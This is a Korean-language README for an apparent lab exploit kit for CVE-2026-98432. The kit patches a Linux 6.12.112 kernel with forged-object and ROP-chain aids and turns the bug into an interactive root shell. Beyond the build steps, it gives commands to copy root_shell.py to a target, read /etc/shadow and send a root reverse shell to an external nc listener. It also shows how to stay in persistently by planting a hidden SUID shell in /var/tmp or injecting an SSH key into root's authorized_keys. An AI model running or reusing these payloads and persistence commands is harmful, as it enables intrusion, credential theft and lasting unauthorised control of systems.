
CVE-2026-98432 실습용 루트 셸 키트 (커널 지원; 일반 원격 익스플로잇 아님)
이 키트는 의도적으로 취약하게 만든 Linux 6.12.112 커널을 작은 익스플로잇 지원 도구와 함께 빌드하고, CVE-2026-98432 경로를 QEMU 콘솔에서 대화형 루트 셸로 전환합니다.
이것은 실습 지원 도구이며, 일반적인 원격 익스플로잇이 아닙니다. 실제 CVE 코드 경로가 사용됩니다:
ip_options_rcu가 재전송된 SYN-ACK 경로를 통해
ip_options_build()에 도달합니다;skb_shared_info가 손상됩니다;skb_release_data()가 위조된 ubuf_info->ops->complete 콜백을 호출합니다;call_usermodehelper("/bin/sh", ...)를 호출합니다.지원 도구는 강제 해제/위조 객체와 준비된 콜백/ROP 체인입니다. 일반 취약 커널에서 빠진 부분은 신뢰할 수 있는 동일 슬랩/동일 CPU 재할당 및 페이로드 준비 프리미티브이며, 이는 공개되지 않았습니다. 아래 "일반 커널 상태"를 참조하십시오.
/dev/kvm)을 강력히 권장합니다; TCG도 동작하지만 느립니다sudo apt-get update
sudo apt-get install -y build-essential flex bison bc libelf-dev libssl-dev \
cpio qemu-system-x86 busybox-static python3 python3-pip
python3 -m pip install --user ROPgadget
cd cve-2026-98432-root-shell
chmod +x build.sh
./build.sh
첫 번째 빌드는 Linux 6.12.112를 다운로드하고, 두 개의 kfree_rcu() 호출을 되돌리고, aid를 적용하고, bzImage를 빌드하고, 패치된 vmlinux에서 심볼/가젯을 확인하고, 다시 빌드하고, initramfs를 패킹하고, nokaslr로 QEMU를 부팅합니다.
KVM을 사용할 수 없는 경우:
QEMU_ACCEL=tcg ./build.sh
(스크립트는 현재 /dev/kvm에 쓸 수 없을 때 자동으로 TCG로 폴백합니다. 편의를 위해 QEMU_ACCEL 변수를 사용할 수 있습니다.)
호스트의 두 번째 터미널에서:
python3 trigger.py 127.0.0.1 9000
게스트 init는 콘솔 셸(sh -i </dev/console)을 사용하여 /tmp/cve98432_root.sh를 생성했습니다. 게스트 리스너에 대한 단일 TCP 연결이면 충분합니다. 게스트 콘솔에는 다음과 같은 내용이 표시되어야 합니다:
[ 3.942024] BUG: scheduling while atomic: ...
...
uid=0 gid=0
#
root_shell.py를 (이미 aid 커널로 부팅된) 대상에 복사하고
가지고 있는 사용자로 실행하십시오:
python3 root_shell.py
/tmp/cve98432_root.sh에 root 리버스 셸 페이로드를 작성하고, 두 개의 루프백 리스너(트리거용 9000, 셸용 4444)를 시작하며, aid를 트리거하고, root 셸을 터미널에 연결합니다:
[+] trigger sent; waiting for the root shell...
[+] root shell connected; type commands, exit to close
uid=0 gid=0
#
유용한 옵션:
# check kernel/aid/ports without sending anything
python3 root_shell.py --check
# run one command as root and print its output
python3 root_shell.py --command 'id; cat /etc/shadow | head'
# send the root shell to an external listener instead of bridging locally
# (run: nc -lvnp 4444 on your machine first)
python3 root_shell.py --reverse 10.0.0.5:4444
# different ports / retries / no TTY raw mode
python3 root_shell.py --trigger-port 9100 --shell-port 4455 --retries 5
aid 체인은 루트 명령이 종료된 후에만 machine_power_off()를 호출합니다.
루트 명령이 종료되지 않으면, 커널은 call_usermodehelper()에서 대기하고
호스트는 계속 유지됩니다. 이를 통해 지속적 루트 경로를 만들 수 있습니다:
# SUID shell in /var/tmp, then keep the helper alive
python3 root_shell.py --command \
'cp /bin/sh /var/tmp/.rootsh; chmod 4755 /var/tmp/.rootsh; sleep 86400'
# after the client returns
/var/tmp/.rootsh -p
또는 SSH 키를 추가하고 헬퍼를 활성 상태로 유지합니다:
python3 root_shell.py --command \
'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAA... you@host" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; sleep 86400'
sleep은 usermode helper(따라서 커널 체인)를 계속 살아 있게 유지하므로, 대상은 전원이 꺼지지 않습니다. /tmp가 noexec/nosuid로 마운트되어 있다면 /tmp 대신 /var/tmp 또는 /root를 사용하십시오. sleep이 끝나면 체인이 재개되어 호스트의 전원을 끕니다. 이를 제어하려면 root 권한으로 sleep 프로세스를 종료하십시오.
페이로드 파일은 0700 및 O_EXCL|O_NOFOLLOW로 생성되며, --keep-payload가 주어지지 않는 한 사용 후 제거됩니다. root 셸을 종료하면 aid 체인이 machine_power_off()를 호출합니다. 일회용 VM을 사용하거나, 호스트가 계속 켜져 있어야 한다면 aid_patch.py의 AID_POWEROFF를 편집하십시오.
체인은 다음을 실행합니다:
call_usermodehelper("/bin/sh", ["-c", "sh /tmp/cve98432_root.sh"], env, 2)
따라서 스크립트는 항상 root로 실행된다.
| 구성 요소 | 상태 |
|---|---|
위조된 ip_options_rcu + ip_options_build() | CVE 경로이지만, 할당은 보조 장치에 의해 강제됨 |
skb_shared_info 손상 | 보조 장치가 tcp_v4_send_synack()에서 필드를 직접 설정함 |
destructor_arg 콜백 하이재킹 | 실제 다운스트림 해제 경로 |
ROP 피벗 + call_usermodehelper() | 실제 커널 제어 흐름 하이재킹이며, 보조 장치에 의해 준비됨 |
nokaslr 부팅 | 실험실 단순화; KASLR 누출 불필요 |
이 키트가 따르는 공개된 독립 연구는 계측된 커널로 동일한 지점에 도달했다: 실제 OOB 쓰기 및 콜백 경로, 보조된 free/reclaim 및 페이로드 준비. 2026-11-02 기준으로 순정 커널에서 무기화된 체인은 공개적으로 이용 가능하지 않다.
게스트가 nokaslr로 부팅되기 때문에 보조 장치는 절대 커널 주소를 사용한다. aid_patch.py의 값은 공개된 6.12.112 실험실 빌드의 기본값이다. resolve.py는 패치된 vmlinux와 System.map을 읽고 symbols.json을 작성하며, 그런 다음 build.sh가 정의를 업데이트하고 다시 빌드한다.
resolve.py가 가젯을 찾을 수 없는 경우(ROPgadget 누락 또는 불완전), 설치하고 다시 실행하라:
python3 -m pip install --user ROPgadget
python3 resolve.py work/linux-6.12.112
python3 aid_patch.py --update work/linux-6.12.112
make -C work/linux-6.12.112 -j"$(nproc)" bzImage
피벗 가젯은 aid_patch.py의 체인 레이아웃과 일치해야 합니다:
lea -0x18(%rbp), %rsp에 네 번의 pop과 ret/jmp가 뒤따르는 형태입니다. 빌드에
다른 피벗이 있다면 aid_patch.py의 SEND_BLOCK을 조정하거나 일치하는
가젯을 선택하십시오.
취약한 스톡 커널에는 신뢰할 수 있는, 공개된, 비보조 루트 체인이 없습니다. 걸림돌은 다음과 같습니다:
ip_options_rcu는 free-to-build 윈도우 내에서
공격자가 제어하는 바이트를 가진 객체에 의해 재할당되어야 합니다.
saved_syn 객체(TCP_SAVE_SYN)가 자연스러운 후보이지만, 독립적인
실험실 측정 결과 재할당은 보통 진행 중인 청크가 아닌 다른
옵션 블록에 발생합니다.srr/rr/ts 저장은 skb 버퍼 근처의 오프셋에 네 개의 제어된 바이트를
제공합니다; 완전한 8바이트 destructor_arg 포인터를 쓰려면 스테일 상위
dword나 더 강력한 프리미티브가 필요합니다.공개된 Anthropic 체인은 공개되지 않은 재할당/스테이징 프리미티브로 이 문제들을 해결합니다. 이 키트는 스톡 체인이 작동하는 척하기보다는 의도적으로 제어 흐름 시연에서 멈춥니다.
| 파일 | 용도 |
|---|---|
build.sh | 커널 + initramfs + QEMU |
aid_patch.py | 위조 객체/콜백/ROP 보조 적용 |
resolve.py | 패치된 빌드의 심볼/가젯 해석 |
listener.c | 게스트 TCP 리스너 (accept + close) |
init | 게스트 init 스크립트 |
trigger.py | 호스트 측 단일 연결 트리거 (콘솔 변형) |
root_shell.py | Python이 있는 대상용 단일 파일 트리거 + 리버스 셸 브리지 |
모든 것이 work/ (또는 첫 번째 인수로 전달된 디렉터리) 아래에 있습니다.
디스크 공간을 회수하려면 삭제하십시오:
rm -rf work
e3f33b0a1d89d738e2b913dab519226eaf76e15b